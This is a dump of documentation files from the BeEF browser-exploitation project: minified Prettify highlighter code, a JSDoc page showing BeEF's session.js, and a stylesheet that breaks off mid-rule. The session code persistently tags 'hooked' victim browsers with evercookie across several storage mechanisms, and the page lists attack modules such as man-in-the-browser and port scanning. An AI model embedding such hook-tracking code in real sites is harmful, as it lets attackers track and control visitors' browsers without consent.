    "content": "PR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\f\\r ]+/,null,\" \\t\\r\\n\f\"]],[[\"str\",/^\"(?:[^\\n\\f\\r\"\\\\]|\\\\(?:\\r\\n?|\\n|\\f)|\\\\[\\S\\s])*\"/,null],[\"str\",/^'(?:[^\\n\\f\\r'\\\\]|\\\\(?:\\r\\n?|\\n|\\f)|\\\\[\\S\\s])*'/,null],[\"lang-css-str\",/^url\\(([^\"')]*)\\)/i],[\"kwd\",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\\w-]|$)/i,null],[\"lang-css-kw\",/^(-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*)\\s*:/i],[\"com\",/^\\/\\*[^*]*\\*+(?:[^*/][^*]*\\*+)*\\//],[\"com\",\n/^(?:<\\!--|--\\>)/],[\"lit\",/^(?:\\d+|\\d*\\.\\d+)(?:%|[a-z]+)?/i],[\"lit\",/^#[\\da-f]{3,6}/i],[\"pln\",/^-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*/i],[\"pun\",/^[^\\s\\w\"']+/]]),[\"css\"]);PR.registerLangHandler(PR.createSimpleLexer([],[[\"kwd\",/^-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*/i]]),[\"css-kw\"]);PR.registerLangHandler(PR.createSimpleLexer([],[[\"str\",/^[^\"')]+/]]),[\"css-str\"]);\n"
  },
  {
    "path": "docs/scripts/prettify/prettify.js",
    "content": "var q=null;window.PR_SHOULD_USE_CONTINUATION=!0;\n(function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:\"0\"<=b&&b<=\"7\"?parseInt(a.substring(1),8):b===\"u\"||b===\"x\"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?\"\\\\x0\":\"\\\\x\")+a.toString(16);a=String.fromCharCode(a);if(a===\"\\\\\"||a===\"-\"||a===\"[\"||a===\"]\")a=\"\\\\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\\\u[\\dA-Fa-f]{4}|\\\\x[\\dA-Fa-f]{2}|\\\\[0-3][0-7]{0,2}|\\\\[0-7]{1,2}|\\\\[\\S\\s]|[^\\\\]/g),a=\n[],b=[],o=f[0]===\"^\",c=o?1:0,i=f.length;c<i;++c){var j=f[c];if(/\\\\[bdsw]/i.test(j))a.push(j);else{var j=m(j),d;c+2<i&&\"-\"===f[c+1]?(d=m(f[c+2]),c+=2):d=j;b.push([j,d]);d<65||j>122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;c<b.length;++c)i=b[c],i[0]<=j[1]+1?j[1]=Math.max(j[1],i[1]):f.push(j=i);b=[\"[\"];o&&b.push(\"^\");b.push.apply(b,a);for(c=0;c<\nf.length;++c)i=f[c],b.push(e(i[0])),i[1]>i[0]&&(i[1]+1>i[0]&&b.push(\"-\"),b.push(e(i[1])));b.push(\"]\");return b.join(\"\")}function y(a){for(var f=a.source.match(/\\[(?:[^\\\\\\]]|\\\\[\\S\\s])*]|\\\\u[\\dA-Fa-f]{4}|\\\\x[\\dA-Fa-f]{2}|\\\\\\d+|\\\\[^\\dux]|\\(\\?[!:=]|[()^]|[^()[\\\\^]+/g),b=f.length,d=[],c=0,i=0;c<b;++c){var j=f[c];j===\"(\"?++i:\"\\\\\"===j.charAt(0)&&(j=+j.substring(1))&&j<=i&&(d[j]=-1)}for(c=1;c<d.length;++c)-1===d[c]&&(d[c]=++t);for(i=c=0;c<b;++c)j=f[c],j===\"(\"?(++i,d[i]===void 0&&(f[c]=\"(?:\")):\"\\\\\"===j.charAt(0)&&\n(j=+j.substring(1))&&j<=i&&(f[c]=\"\\\\\"+d[i]);for(i=c=0;c<b;++c)\"^\"===f[c]&&\"^\"!==f[c+1]&&(f[c]=\"\");if(a.ignoreCase&&s)for(c=0;c<b;++c)j=f[c],a=j.charAt(0),j.length>=2&&a===\"[\"?f[c]=h(j):a!==\"\\\\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return\"[\"+String.fromCharCode(a&-33,a|32)+\"]\"}));return f.join(\"\")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p<d;++p){var g=a[p];if(g.ignoreCase)l=!0;else if(/[a-z]/i.test(g.source.replace(/\\\\u[\\da-f]{4}|\\\\x[\\da-f]{2}|\\\\[^UXux]/gi,\"\"))){s=!0;l=!1;break}}for(var r=\n{b:8,t:9,n:10,v:11,f:12,r:13},n=[],p=0,d=a.length;p<d;++p){g=a[p];if(g.global||g.multiline)throw Error(\"\"+g);n.push(\"(?:\"+y(g)+\")\")}return RegExp(n.join(\"|\"),l?\"gi\":\"g\")}function M(a){function m(a){switch(a.nodeType){case 1:if(e.test(a.className))break;for(var g=a.firstChild;g;g=g.nextSibling)m(g);g=a.nodeName;if(\"BR\"===g||\"LI\"===g)h[s]=\"\\n\",t[s<<1]=y++,t[s++<<1|1]=a;break;case 3:case 4:g=a.nodeValue,g.length&&(g=p?g.replace(/\\r\\n?/g,\"\\n\"):g.replace(/[\\t\\n\\r ]+/g,\" \"),h[s]=g,t[s<<1]=y,y+=g.length,\nt[s++<<1|1]=a)}}var e=/(?:^|\\s)nocode(?:\\s|$)/,h=[],y=0,t=[],s=0,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=document.defaultView.getComputedStyle(a,q).getPropertyValue(\"white-space\"));var p=l&&\"pre\"===l.substring(0,3);m(a);return{a:h.join(\"\").replace(/\\n$/,\"\"),c:t}}function B(a,m,e,h){m&&(a={a:m,d:a},e(a),h.push.apply(h,a.e))}function x(a,m){function e(a){for(var l=a.d,p=[l,\"pln\"],d=0,g=a.a.match(y)||[],r={},n=0,z=g.length;n<z;++n){var f=g[n],b=r[f],o=void 0,c;if(typeof b===\n\"string\")c=!1;else{var i=h[f.charAt(0)];if(i)o=f.match(i[1]),b=i[0];else{for(c=0;c<t;++c)if(i=m[c],o=f.match(i[1])){b=i[0];break}o||(b=\"pln\")}if((c=b.length>=5&&\"lang-\"===b.substring(0,5))&&!(o&&typeof o[1]===\"string\"))c=!1,b=\"src\";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m),\nl=[],p={},d=0,g=e.length;d<g;++d){var r=e[d],n=r[3];if(n)for(var k=n.length;--k>=0;)h[n.charAt(k)]=r;r=r[1];n=\"\"+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\\S\\s]/);y=L(l)})();var t=m.length;return e}function u(a){var m=[],e=[];a.tripleQuotedStrings?m.push([\"str\",/^(?:'''(?:[^'\\\\]|\\\\[\\S\\s]|''?(?=[^']))*(?:'''|$)|\"\"\"(?:[^\"\\\\]|\\\\[\\S\\s]|\"\"?(?=[^\"]))*(?:\"\"\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$)|\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$))/,q,\"'\\\"\"]):a.multiLineStrings?m.push([\"str\",/^(?:'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$)|\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|`(?:[^\\\\`]|\\\\[\\S\\s])*(?:`|$))/,\nq,\"'\\\"`\"]):m.push([\"str\",/^(?:'(?:[^\\n\\r'\\\\]|\\\\.)*(?:'|$)|\"(?:[^\\n\\r\"\\\\]|\\\\.)*(?:\"|$))/,q,\"\\\"'\"]);a.verbatimStrings&&e.push([\"str\",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push([\"com\",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,\"#\"]):m.push([\"com\",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\\b|[^\\n\\r]*)/,q,\"#\"]),e.push([\"str\",/^<(?:(?:(?:\\.\\.\\/)*|\\/?)(?:[\\w-]+(?:\\/[\\w-]+)+)?[\\w-]+\\.h|[a-z]\\w*)>/,q])):m.push([\"com\",/^#[^\\n\\r]*/,\nq,\"#\"]));a.cStyleComments&&(e.push([\"com\",/^\\/\\/[^\\n\\r]*/,q]),e.push([\"com\",/^\\/\\*[\\S\\s]*?(?:\\*\\/|$)/,q]));a.regexLiterals&&e.push([\"lang-regex\",/^(?:^^\\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\\(|\\*|\\*=|\\+=|,|-=|->|\\/|\\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\\^=|\\^\\^|\\^\\^=|{|\\||\\|=|\\|\\||\\|\\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\s*(\\/(?=[^*/])(?:[^/[\\\\]|\\\\[\\S\\s]|\\[(?:[^\\\\\\]]|\\\\[\\S\\s])*(?:]|$))+\\/)/]);(h=a.types)&&e.push([\"typ\",h]);a=(\"\"+a.keywords).replace(/^ | $/g,\n\"\");a.length&&e.push([\"kwd\",RegExp(\"^(?:\"+a.replace(/[\\s,]+/g,\"|\")+\")\\\\b\"),q]);m.push([\"pln\",/^\\s+/,q,\" \\r\\n\\t\\xa0\"]);e.push([\"lit\",/^@[$_a-z][\\w$@]*/i,q],[\"typ\",/^(?:[@_]?[A-Z]+[a-z][\\w$@]*|\\w+_t\\b)/,q],[\"pln\",/^[$_a-z][\\w$@]*/i,q],[\"lit\",/^(?:0x[\\da-f]+|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)(?:e[+-]?\\d+)?)[a-z]*/i,q,\"0123456789\"],[\"pln\",/^\\\\[\\S\\s]?/,q],[\"pun\",/^.[^\\s\\w\"-$'./@\\\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if(\"BR\"===a.nodeName)h(a),\na.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e}\nfor(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\\s)nocode(?:\\s|$)/,t=/\\r\\n?|\\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue(\"white-space\"));var p=l&&\"pre\"===l.substring(0,3);for(l=s.createElement(\"LI\");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g<d.length;++g)e(d[g]);m===(m|0)&&d[0].setAttribute(\"value\",\nm);var r=s.createElement(\"OL\");r.className=\"linenums\";for(var n=Math.max(0,m-1|0)||0,g=0,z=d.length;g<z;++g)l=d[g],l.className=\"L\"+(g+n)%10,l.firstChild||l.appendChild(s.createTextNode(\"\\xa0\")),r.appendChild(l);a.appendChild(r)}function k(a,m){for(var e=m.length;--e>=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn(\"cannot override language handler %s\",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\\s*</.test(m)?\"default-markup\":\"default-code\";return A[a]}function E(a){var m=\na.g;try{var e=M(a.h),h=e.a;a.a=h;a.c=e.c;a.d=0;C(m,h)(a);var k=/\\bMSIE\\b/.test(navigator.userAgent),m=/\\n/g,t=a.a,s=t.length,e=0,l=a.c,p=l.length,h=0,d=a.e,g=d.length,a=0;d[g]=s;var r,n;for(n=r=0;n<g;)d[n]!==d[n+2]?(d[r++]=d[n++],d[r++]=d[n++]):n+=2;g=r;for(n=r=0;n<g;){for(var z=d[n],f=d[n+1],b=n+2;b+2<=g&&d[b+1]===f;)b+=2;d[r++]=z;d[r++]=f;n=b}for(d.length=r;h<p;){var o=l[h+2]||s,c=d[a+2]||s,b=Math.min(o,c),i=l[h+1],j;if(i.nodeType!==1&&(j=t.substring(e,b))){k&&(j=j.replace(m,\"\\r\"));i.nodeValue=\nj;var u=i.ownerDocument,v=u.createElement(\"SPAN\");v.className=d[a+1];var x=i.parentNode;x.replaceChild(v,i);v.appendChild(i);e<o&&(l[h+1]=i=u.createTextNode(t.substring(b,o)),x.insertBefore(i,v.nextSibling))}e=b;e>=o&&(h+=2);e>=c&&(a+=2)}}catch(w){\"console\"in window&&console.log(w&&w.stack?w.stack:w)}}var v=[\"break,continue,do,else,for,if,return,while\"],w=[[v,\"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile\"],\n\"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof\"],F=[w,\"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where\"],G=[w,\"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient\"],\nH=[G,\"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var\"],w=[w,\"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN\"],I=[v,\"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None\"],\nJ=[v,\"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END\"],v=[v,\"case,done,elif,esac,eval,fi,function,in,local,set,then,until\"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\\d*)/,N=/\\S/,O=u({keywords:[F,H,w,\"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END\"+\nI,J,v],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),A={};k(O,[\"default-code\"]);k(x([],[[\"pln\",/^[^<?]+/],[\"dec\",/^<!\\w[^>]*(?:>|$)/],[\"com\",/^<\\!--[\\S\\s]*?(?:--\\>|$)/],[\"lang-\",/^<\\?([\\S\\s]+?)(?:\\?>|$)/],[\"lang-\",/^<%([\\S\\s]+?)(?:%>|$)/],[\"pun\",/^(?:<[%?]|[%?]>)/],[\"lang-\",/^<xmp\\b[^>]*>([\\S\\s]+?)<\\/xmp\\b[^>]*>/i],[\"lang-js\",/^<script\\b[^>]*>([\\S\\s]*?)(<\\/script\\b[^>]*>)/i],[\"lang-css\",/^<style\\b[^>]*>([\\S\\s]*?)(<\\/style\\b[^>]*>)/i],[\"lang-in.tag\",/^(<\\/?[a-z][^<>]*>)/i]]),\n[\"default-markup\",\"htm\",\"html\",\"mxml\",\"xhtml\",\"xml\",\"xsl\"]);k(x([[\"pln\",/^\\s+/,q,\" \\t\\r\\n\"],[\"atv\",/^(?:\"[^\"]*\"?|'[^']*'?)/,q,\"\\\"'\"]],[[\"tag\",/^^<\\/?[a-z](?:[\\w-.:]*\\w)?|\\/?>$/i],[\"atn\",/^(?!style[\\s=]|on)[a-z](?:[\\w:-]*\\w)?/i],[\"lang-uq.val\",/^=\\s*([^\\s\"'>]*(?:[^\\s\"'/>]|\\/(?=\\s)))/],[\"pun\",/^[/<->]+/],[\"lang-js\",/^on\\w+\\s*=\\s*\"([^\"]+)\"/i],[\"lang-js\",/^on\\w+\\s*=\\s*'([^']+)'/i],[\"lang-js\",/^on\\w+\\s*=\\s*([^\\s\"'>]+)/i],[\"lang-css\",/^style\\s*=\\s*\"([^\"]+)\"/i],[\"lang-css\",/^style\\s*=\\s*'([^']+)'/i],[\"lang-css\",\n/^style\\s*=\\s*([^\\s\"'>]+)/i]]),[\"in.tag\"]);k(x([],[[\"atv\",/^[\\S\\s]+/]]),[\"uq.val\"]);k(u({keywords:F,hashComments:!0,cStyleComments:!0,types:K}),[\"c\",\"cc\",\"cpp\",\"cxx\",\"cyc\",\"m\"]);k(u({keywords:\"null,true,false\"}),[\"json\"]);k(u({keywords:H,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:K}),[\"cs\"]);k(u({keywords:G,cStyleComments:!0}),[\"java\"]);k(u({keywords:v,hashComments:!0,multiLineStrings:!0}),[\"bsh\",\"csh\",\"sh\"]);k(u({keywords:I,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}),\n[\"cv\",\"py\"]);k(u({keywords:\"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END\",hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),[\"perl\",\"pl\",\"pm\"]);k(u({keywords:J,hashComments:!0,multiLineStrings:!0,regexLiterals:!0}),[\"rb\"]);k(u({keywords:w,cStyleComments:!0,regexLiterals:!0}),[\"js\"]);k(u({keywords:\"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,true,try,unless,until,when,while,yes\",\nhashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),[\"coffee\"]);k(x([],[[\"str\",/^[\\S\\s]+/]]),[\"regex\"]);window.prettyPrintOne=function(a,m,e){var h=document.createElement(\"PRE\");h.innerHTML=a;e&&D(h,e);E({g:m,i:e,h:h});return h.innerHTML};window.prettyPrint=function(a){function m(){for(var e=window.PR_SHOULD_USE_CONTINUATION?l.now()+250:Infinity;p<h.length&&l.now()<e;p++){var n=h[p],k=n.className;if(k.indexOf(\"prettyprint\")>=0){var k=k.match(g),f,b;if(b=\n!k){b=n;for(var o=void 0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&\"CODE\"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName===\"pre\"||o.tagName===\"code\"||o.tagName===\"xmp\")&&o.className&&o.className.indexOf(\"prettyprint\")>=0){b=!0;break}b||((b=(b=n.className.match(/\\blinenums\\b(?::(\\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}p<h.length?setTimeout(m,\n250):a&&a()}for(var e=[document.getElementsByTagName(\"pre\"),document.getElementsByTagName(\"code\"),document.getElementsByTagName(\"xmp\")],h=[],k=0;k<e.length;++k)for(var t=0,s=e[k].length;t<s;++t)h.push(e[k][t]);var e=q,l=Date;l.now||(l={now:function(){return+new Date}});var p=0,d,g=/\\blang(?:uage)?-([\\w.]+)(?!\\S)/;m()};window.PR={createSimpleLexer:x,registerLangHandler:k,sourceDecorator:u,PR_ATTRIB_NAME:\"atn\",PR_ATTRIB_VALUE:\"atv\",PR_COMMENT:\"com\",PR_DECLARATION:\"dec\",PR_KEYWORD:\"kwd\",PR_LITERAL:\"lit\",\nPR_NOCODE:\"nocode\",PR_PLAIN:\"pln\",PR_PUNCTUATION:\"pun\",PR_SOURCE:\"src\",PR_STRING:\"str\",PR_TAG:\"tag\",PR_TYPE:\"typ\"}})();\n"
  },
  {
    "path": "docs/session.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: session.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: session.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides basic session functions.\n * @namespace beef.session\n */\nbeef.session = {\n\t\n\thook_session_id_length: 80,\n\thook_session_id_chars: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\",\t\n\tec: new evercookie(),\n    beefhook: \"&lt;%= @hook_session_name %>\",\n\t\n\t/**\n\t * Gets a string which will be used to identify the hooked browser session\n\t * \n\t * @example: var hook_session_id = beef.session.get_hook_session_id();\n\t */\n  \tget_hook_session_id: function() {\n\t\t// check if the browser is already known to the framework\n\t\tvar id = this.ec.evercookie_cookie(beef.session.beefhook);\n\t\tif (typeof id == 'undefined') {\n\t\t\tvar id = this.ec.evercookie_userdata(beef.session.beefhook);\n\t\t}\n\t\tif (typeof id == 'undefined') {\n\t\t\tvar id = this.ec.evercookie_window(beef.session.beefhook);\n\t\t}\n\t\t\n\t\t// if the browser is not known create a hook session id and set it\n\t\tif ((typeof id == 'undefined') || (id == null)) {\n\t\t\tid = this.gen_hook_session_id();\n\t\t\tthis.set_hook_session_id(id);\n\t\t}\n\t\t\n\t\t// return the hooked browser session identifier\n\t\treturn id;\n\t},\n\t\n\t/**\n\t * Sets a string which will be used to identify the hooked browser session\n\t * \n\t * @example: beef.session.set_hook_session_id('RANDOMSTRING');\n\t */\n  \tset_hook_session_id: function(id) {\n\t\t// persist the hook session id\n\t\tthis.ec.evercookie_cookie(beef.session.beefhook, id);\n\t\tthis.ec.evercookie_userdata(beef.session.beefhook, id);\n\t\tthis.ec.evercookie_window(beef.session.beefhook, id);\n\t},\n\t\n\t/**\n\t * Generates a random string using the chars in hook_session_id_chars.\n\t * \n\t * @example: beef.session.gen_hook_session_id();\n\t */\n  \tgen_hook_session_id: function() {\n\t    // init the return value\n\t\tvar hook_session_id = \"\";\n\t\t\n\t\t// construct the random string \n\t\tfor(var i=0; i&lt;this.hook_session_id_length; i++) {\n\t\t  var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);\n\t\t  hook_session_id += this.hook_session_id_chars.charAt(rand_num);\n\t\t}\n\t\t\n\t\treturn hook_session_id;\n\t}\n};\n\nbeef.regCmp('beef.session');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/styles/jsdoc-default.css",
    "content": "@font-face {\n    font-family: 'Open Sans';\n    font-weight: normal;\n    font-style: normal;\n    src: url('../fonts/OpenSans-Regular-webfont.eot');\n    src:\n        local('Open Sans'),\n        local('OpenSans'),\n        url('../fonts/OpenSans-Regular-webfont.eot?#iefix') format('embedded-opentype'),\n        url('../fonts/OpenSans-Regular-webfont.woff') format('woff'),\n        url('../fonts/OpenSans-Regular-webfont.svg#open_sansregular') format('svg');\n}\n\n@font-face {\n    font-family: 'Open Sans Light';\n    font-weight: normal;\n    font-style: normal;\n    src: url('../fonts/OpenSans-Light-webfont.eot');\n    src:\n        local('Open Sans Light'),\n        local('OpenSans Light'),\n        url('../fonts/OpenSans-Light-webfont.eot?#iefix') format('embedded-opentype'),\n        url('../fonts/OpenSans-Light-webfont.woff') format('woff'),\n        url('../fonts/OpenSans-Light-webfont.svg#open_sanslight') format('svg');\n}\n\nhtml\n{\n    overflow: auto;\n    background-color: #fff;\n    font-size: 14px;\n}\n\nbody\n{\n    font-family: 'Open Sans', sans-serif;\n    line-height: 1.5;\n    color: #4d4e53;\n    background-color: white;\n}\n\na, a:visited, a:active {\n    color: #0095dd;\n    text-decoration: none;\n}\n\na:hover {\n    text-decoration: underline;\n}\n\nheader\n{\n    display: block;\n    padding: 0px 4px;\n}\n\ntt, code, kbd, samp {\n    font-family: Consolas, Monaco, 'Andale Mono', monospace;\n}\n\n.class-description {\n    font-size: 130%;\n    line-height: 140%;\n    margin-bottom: 1em;\n    margin-top: 1em;\n}\n\n.class-description:empty {\n    margin: 0;\n}\n\n#main {\n    float: left;\n    width: 70%;\n}\n\narticle dl {\n    margin-bottom: 40px;\n}\n\narticle img {\n  max-width: 100%;\n}\n\nsection\n{\n    display: block;\n    background-color: #fff;\n    padding: 12px 24px;\n    border-bottom: 1px solid #ccc;\n    margin-right: 30px;\n}\n\n.variation {\n    display: none;\n}\n\n.signature-attributes {\n    font-size: 60%;\n    color: #aaa;\n    font-style: italic;\n    font-weight: lighter;\n}\n\nnav\n{\n    display: block;\n    float: right;\n    margin-top: 28px;\n    width: 30%;\n    box-sizing: border-box;\n    border-left: 1px solid #ccc;\n    padding-left: 16px;\n}\n\nnav ul {\n    font-family: 'Lucida Grande', 'Lucida Sans Unicode', arial, sans-serif;\n    font-size: 100%;\n    line-height: 17px;\n    padding: 0;\n    margin: 0;\n    list-style-type: none;\n}\n\nnav ul a, nav ul a:visited, nav ul a:active {\n    font-family: Consolas, Monaco, 'Andale Mono', monospace;\n    line-height: 18px;\n    color: #4D4E53;\n}\n\nnav h3 {\n    margin-top: 12px;\n}\n\nnav li {\n    margin-top: 6px;\n}\n\nfooter {\n    display: block;\n    padding: 6px;\n    margin-top: 12px;\n    font-style: italic;\n    font-size: 90%;\n}\n\nh1, h2, h3, h4 {\n    font-weight: 200;\n    margin: 0;\n}\n\nh1\n{\n    font-family: 'Open Sans Light', sans-serif;\n    font-size: 48px;\n    letter-spacing: -2px;\n    margin: 12px 24px 20px;\n}\n\nh2, h3.subsection-title\n{\n    font-size: 30px;\n    font-weight: 700;\n    letter-spacing: -1px;\n    margin-bottom: 12px;\n}\n\nh3\n{\n    font-size: 24px;\n    letter-spacing: -0.5px;\n    margin-bottom: 12px;\n}\n\nh4\n{\n    font-size: 18px;\n    letter-spacing: -0.33px;\n    margin-bottom: 12px;\n    color: #4d4e53;\n}\n\nh5, .container-overview .subsection-title\n{\n    font-size: 120%;\n    font-weight: bold;\n    letter-spacing: -0.01em;\n    margin: 8px 0 3px 0;\n}\n\nh6\n{\n    font-size: 100%;\n    letter-spacing: -0.01em;\n    margin: 6px 0 3px 0;\n    font-style: italic;\n}\n\ntable\n{\n    border-spacing: 0;\n    border: 0;\n    border-collapse: collapse;\n}\n\ntd, th\n{\n    border: 1px solid #ddd;\n    margin: 0px;\n    text-align: left;\n    vertical-align: 